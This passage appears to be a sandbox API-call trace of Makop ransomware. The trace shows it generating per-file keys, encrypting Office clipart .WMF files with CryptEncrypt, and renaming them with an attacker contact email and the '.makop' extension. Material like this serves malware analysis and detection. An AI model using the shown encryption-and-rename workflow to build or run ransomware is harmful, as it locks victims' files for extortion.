ftCreationTime.dwLowDateTime=0xe160cb00, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe160cb00, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x282c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03339_.WMF", cAlternateFileName="")) returned 1 [0144.756] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF") returned 63 [0144.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0144.757] GetProcessHeap () returned 0x48a0000 [0144.757] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0144.758] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0144.758] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0144.758] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0144.762] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.762] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.762] GetProcessHeap () returned 0x48a0000 [0144.762] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0144.762] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0144.762] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.763] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0144.763] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0144.763] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0144.763] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0144.763] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0144.763] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.764] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.764] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.764] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.764] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x282c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x282c, lpOverlapped=0x0) returned 1 [0144.765] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2830, dwBufLen=0x2830 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2830) returned 1 [0144.766] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.766] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2830, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2830, lpOverlapped=0x0) returned 1 [0144.766] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.766] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2904, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.766] SetEndOfFile (hFile=0xf0) returned 1 [0144.773] GetProcessHeap () returned 0x48a0000 [0144.773] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0144.773] GetProcessHeap () returned 0x48a0000 [0144.773] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0144.773] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0144.773] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0144.775] CloseHandle (hObject=0xf0) returned 1 [0144.775] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2108, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03451_.WMF", cAlternateFileName="")) returned 1 [0144.776] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF") returned 63 [0144.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0144.776] GetProcessHeap () returned 0x48a0000 [0144.776] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0144.777] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0144.777] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0144.777] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.782] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.782] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.782] GetProcessHeap () returned 0x48a0000 [0144.782] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0144.782] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0144.782] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.782] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0144.782] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0144.782] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0144.783] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0144.783] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0144.783] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.783] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.783] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.783] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.783] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2108, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2108, lpOverlapped=0x0) returned 1 [0144.785] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2110, dwBufLen=0x2110 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2110) returned 1 [0144.786] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.786] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2110, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2110, lpOverlapped=0x0) returned 1 [0144.786] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.786] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x21e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.786] SetEndOfFile (hFile=0xf0) returned 1 [0144.793] GetProcessHeap () returned 0x48a0000 [0144.793] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0144.793] GetProcessHeap () returned 0x48a0000 [0144.793] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0144.793] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0144.793] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0144.795] CloseHandle (hObject=0xf0) returned 1 [0144.795] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d695e00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d695e00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1f24, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03453_.WMF", cAlternateFileName="")) returned 1 [0144.795] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF") returned 63 [0144.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0144.797] GetProcessHeap () returned 0x48a0000 [0144.797] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0144.797] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0144.797] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0144.797] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0144.801] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.801] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.801] GetProcessHeap () returned 0x48a0000 [0144.801] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0144.802] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0144.802] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.802] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0144.802] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0144.802] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0144.802] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0144.803] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0144.803] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.803] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.803] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.803] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.803] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1f24, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1f24, lpOverlapped=0x0) returned 1 [0144.805] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f30, dwBufLen=0x1f30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f30) returned 1 [0144.805] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.805] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1f30, lpOverlapped=0x0) returned 1 [0144.805] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.805] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2004, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.805] SetEndOfFile (hFile=0xf0) returned 1 [0144.812] GetProcessHeap () returned 0x48a0000 [0144.812] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0144.812] GetProcessHeap () returned 0x48a0000 [0144.812] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0144.812] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0144.812] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0144.823] CloseHandle (hObject=0xf0) returned 1 [0144.824] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2178, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03459_.WMF", cAlternateFileName="")) returned 1 [0144.824] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF") returned 63 [0144.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0144.830] GetProcessHeap () returned 0x48a0000 [0144.830] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0144.830] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0144.830] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0144.831] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.835] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.835] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.835] GetProcessHeap () returned 0x48a0000 [0144.835] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0144.835] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0144.835] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.835] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0144.835] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0144.835] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0144.836] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0144.836] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0144.836] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.836] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.836] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.836] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.836] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2178, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2178, lpOverlapped=0x0) returned 1 [0144.838] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2180, dwBufLen=0x2180 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2180) returned 1 [0144.838] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.838] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2180, lpOverlapped=0x0) returned 1 [0144.839] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.839] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.839] SetEndOfFile (hFile=0xf0) returned 1 [0144.855] GetProcessHeap () returned 0x48a0000 [0144.855] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0144.855] GetProcessHeap () returned 0x48a0000 [0144.855] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0144.855] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft 